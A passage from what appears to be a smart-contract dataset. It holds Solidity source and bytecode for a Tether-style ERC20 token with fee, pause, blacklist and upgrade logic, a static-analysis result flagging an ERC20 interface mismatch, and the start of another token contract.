uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
/////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) ///////
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract dummy is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function dummy(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
}
|
0x608060405260043610610196576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461019b5780630753c30c1461022b578063095ea7b31461026e5780630e136b19146102bb5780630ecb93c0146102ea57806318160ddd1461032d57806323b872dd1461035857806326976e3f146103c557806327e235e31461041c578063313ce56714610473578063353907141461049e5780633eaaf86b146104c95780633f4ba83a146104f457806359bf1abe1461050b5780635c658165146105665780635c975abb146105dd57806370a082311461060c5780638456cb5914610663578063893d20e81461067a5780638da5cb5b146106d157806395d89b4114610728578063a9059cbb146107b8578063c0324c7714610805578063cc872b661461083c578063db006a7514610869578063dd62ed3e14610896578063dd644f721461090d578063e47d606014610938578063e4997dc514610993578063e5b5019a146109d6578063f2fde38b14610a01578063f3bdc22814610a44575b600080fd5b3480156101a757600080fd5b506101b0610a87565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f05780820151818401526020810190506101d5565b50505050905090810190601f16801561021d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023757600080fd5b5061026c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b25565b005b34801561027a57600080fd5b506102b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c42565b005b3480156102c757600080fd5b506102d0610d95565b604051808215151515815260200191505060405180910390f35b3480156102f657600080fd5b5061032b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b005b34801561033957600080fd5b50610342610ec1565b6040518082815260200191505060405180910390f35b34801561036457600080fd5b506103c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fa9565b005b3480156103d157600080fd5b506103da61118e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042857600080fd5b5061045d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b4565b6040518082815260200191505060405180910390f35b34801561047f57600080fd5b506104886111cc565b6040518082815260200191505060405180910390f35b3480156104aa57600080fd5b506104b36111d2565b6040518082815260200191505060405180910390f35b3480156104d557600080fd5b506104de6111d8565b6040518082815260200191505060405180910390f35b34801561050057600080fd5b506105096111de565b005b34801561051757600080fd5b5061054c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061129c565b604051808215151515815260200191505060405180910390f35b34801561057257600080fd5b506105c7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112f2565b6040518082815260200191505060405180910390f35b3480156105e957600080fd5b506105f2611317565b604051808215151515815260200191505060405180910390f35b34801561061857600080fd5b5061064d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061132a565b6040518082815260200191505060405180910390f35b34801561066f57600080fd5b50610678611451565b005b34801561068657600080fd5b5061068f611511565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106dd57600080fd5b506106e661153a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561073457600080fd5b5061073d61155f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561077d578082015181840152602081019050610762565b50505050905090810190601f1680156107aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107c457600080fd5b50610803600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115fd565b005b34801561081157600080fd5b5061083a60048036038101908080359060200190929190803590602001909291905050506117ac565b005b34801561084857600080fd5b5061086760048036038101908080359060200190929190505050611891565b005b34801561087557600080fd5b5061089460048036038101908080359060200190929190505050611a88565b005b3480156108a257600080fd5b506108f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c1b565b6040518082815260200191505060405180910390f35b34801561091957600080fd5b50610922611d78565b6040518082815260200191505060405180910390f35b34801561094457600080fd5b50610979600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d7e565b604051808215151515815260200191505060405180910390f35b34801561099f57600080fd5b506109d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d9e565b005b3480156109e257600080fd5b506109eb611eb7565b6040518082815260200191505060405180910390f35b348015610a0d57600080fd5b50610a42600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611edb565b005b348015610a5057600080fd5b50610a85600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fb0565b005b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b1d5780601f10610af257610100808354040283529160200191610b1d565b820191906000526020600020905b815481529060010190602001808311610b0057829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b8057600080fd5b6001600a60146101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b604060048101600036905010151515610c5a57600080fd5b600a60149054906101000a900460ff1615610d8557600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aee92d333385856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015610d6857600080fd5b505af1158015610d7c573d6000803e3d6000fd5b50505050610d90565b610d8f8383612134565b5b505050565b600a60149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0357600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615610fa057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015610f5e57600080fd5b505af1158015610f72573d6000803e3d6000fd5b505050506040513d6020811015610f8857600080fd5b81019080805190602001909291905050509050610fa6565b60015490505b90565b600060149054906101000a900460ff16151515610fc557600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561101e57600080fd5b600a60149054906101000a900460ff161561117d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b477adb338585856040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b15801561116057600080fd5b505af1158015611174573d6000803e3d6000fd5b50505050611189565b6111888383836122d1565b5b505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026020528060005260406000206000915090505481565b60095481565b60045481565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561123957600080fd5b600060149054906101000a900460ff16151561125457600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6005602052816000526040600020602052806000526040600020600091509150505481565b600060149054906101000a900460ff1681565b6000600a60149054906101000a900460ff161561144057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156113fe57600080fd5b505af1158015611412573d6000803e3d6000fd5b505050506040513d602081101561142857600080fd5b8101908080519060200190929190505050905061144c565b61144982612778565b90505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114ac57600080fd5b600060149054906101000a900460ff161515156114c857600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115f55780601f106115ca576101008083540402835291602001916115f5565b820191906000526020600020905b8154815290600101906020018083116115d857829003601f168201915b505050505081565b600060149054906101000a900460ff1615151561161957600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561167257600080fd5b600a60149054906101000a900460ff161561179d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636e18980a3384846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561178057600080fd5b505af1158015611794573d6000803e3d6000fd5b505050506117a8565b6117a782826127c1565b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561180757600080fd5b60148210151561181657600080fd5b60328110151561182557600080fd5b81600381905550611844600954600a0a82612b2990919063ffffffff16565b6004819055507fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e600354600454604051808381526020018281526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ec57600080fd5b600154816001540111151561190057600080fd5b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156119d057600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806001600082825401925050819055507fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a816040518082815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ae357600080fd5b8060015410151515611af457600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611b6357600080fd5b8060016000828254039250508190555080600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a44816040518082815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615611d6557600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015611d2357600080fd5b505af1158015611d37573d6000803e3d6000fd5b505050506040513d6020811015611d4d57600080fd5b81019080805190602001909291905050509050611d72565b611d6f8383612b64565b90505b92915050565b60035481565b60066020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611df957600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f3657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611fad57806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561200d57600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561206557600080fd5b61206e8261132a565b90506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806001600082825403925050819055507f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c68282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b60406004810160003690501015151561214c57600080fd5b600082141580156121da57506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1515156121e657600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3505050565b60008060006060600481016000369050101515156122ee57600080fd5b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054935061239661271061238860035488612b2990919063ffffffff16565b612beb90919063ffffffff16565b92506004548311156123a85760045492505b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff841015612464576123e38585612c0690919063ffffffff16565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6124778386612c0690919063ffffffff16565b91506124cb85600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0690919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256082600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600083111561270a5761261f83600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806040600481016000369050101515156127dc57600080fd5b6128056127106127f760035487612b2990919063ffffffff16565b612beb90919063ffffffff16565b92506004548311156128175760045492505b61282a8385612c0690919063ffffffff16565b915061287e84600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061291382600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000831115612abd576129d283600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b6000806000841415612b3e5760009150612b5d565b8284029050828482811515612b4f57fe5b04141515612b5957fe5b8091505b5092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284811515612bf957fe5b0490508091505092915050565b6000828211151515612c1457fe5b818303905092915050565b6000808284019050838110151515612c3357fe5b80915050929150505600a165627a7a723058200013fb8a517fb0029dab68d0073d8f41f7a733a7f541c4f15b8ceb9ce787baf70029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 3,951 |
0x1Dc671001921A255D1e87a8f1854728317fDc1d9
|
/**
*Submitted for verification at Etherscan.io on 2021-11-18
*/
//SPDX-License-Identifier: MIT
// Telegram: t.me/onepunchinu
pragma solidity ^0.8.10;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
